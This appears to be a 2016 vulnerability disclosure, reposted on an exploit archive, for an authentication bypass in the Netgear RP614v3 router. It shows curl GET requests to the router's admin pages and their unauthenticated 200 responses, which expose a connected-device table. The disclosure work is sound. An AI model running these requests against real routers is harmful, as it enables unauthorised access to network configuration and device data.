Home / exploitsPDF  

Netgear RP614v3 Authentication Bypass

Posted on 08 February 2016

###########################################
Vendor : NETGEAR
Product : RP614v3
informed on : 12. 10. 2015
responded : no
fixed : no
Effect : Remotely exploitable over LAN/WLAN
Typ : Authentication Bypass
Difficulty : trivial
###########################################

The N300 FW authentication bypass inspired me to check my rp614v3 router
and I found this bypass:

Firmware: *Firmwareversion* V6.0GR Oct 26 2004 ( which seems to be the
lastest )

It's an old model, but it's still in operation with ADSL2 connections
like TCOM DSL6000 in Germany.

How it works:

If you use a normal browser, it sends a *HEAD*, followed by a GET, to
the router first, which gets a 403 Forbidden back:

# curl -I "http://192.168.1.1/contents1.html"
HTTP/1.0 403 Forbidden

this was expected and is the valid answere, but if you send a *GET*
instead of the HEAD and your not authenticated,
you get the 200 back :

# curl -i "http://192.168.1.1/contents1.html"
HTTP/1.0 200 OK
Server: Embedded HTTPD v1.00, 1999(c) Delta Networks Inc.
Content-length: 7158
Accept-ranges: bytes
Content-type: text/html

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=windows-1252">
<meta name="generator" content="Adobe GoLive 5">
...

Works for every page, with all informations disclosed the router has to
offer. No password nor a username needed.

Example :

#curl -i "http://192.168.1.1/lanform.html"
HTTP/1.0 200 OK
Server: Embedded HTTPD v1.00, 1999(c) Delta Networks Inc.
Content-length: 13722
Accept-ranges: bytes
Content-type: text/html
....
<table border ="1" cellpadding ="0" cellspacing ="0" width="100%">
<tr>
<td nowrap width="5%" align="center">
<span class="thead">�</span> </td>
<td nowrap width="3%" align="center">
<span class="thead">#</span> </td>
<td nowrap width="24%" align="center">
<span class="thead">IP-Adresse</span> </td>
<td nowrap width="34%" align="center">
<span class="thead">Ger�tename</span> </td>
<td nowrap width="34%" align="center">
<span class="thead">MAC-Adresse</span> </td>
</tr>
<tr><td nowrap width="5%" align="center"><input type="radio" value="0"
checked name="X1" onClick="check(this.value)"></td><td nowrap width="3%"
align="center">1</td><td nowrap width="24%"
align="center">*192.168.1.2*</td><td nowrap width="34%"
align="center">LapTop</td><td nowrap width="34%"
align="center">*00:15:a5:d5:f7:7c*</td></tr><tr><td nowrap width="5%"
align="center"><input type="radio" value="1" name="X1"
onClick="check(this.value)"></td><td nowrap width="3%"
align="center">2</td><td nowrap width="24%"
align="center">*192.168.1.3*</td><td nowrap width="34%"
align="center">Accesspoint</td><td nowrap width="34%"
align="center">*21:6e:5c:23:86:a2*</td></tr> </table>

(all ips and mac have been changed )

Sidenote:

As it's a problem of the underlying httpd server from "Delta Networks
Inc." , it's most likely to be effecting all dsl router products using
that same version of the httpd.

 

TOP

Malware :

Exploits :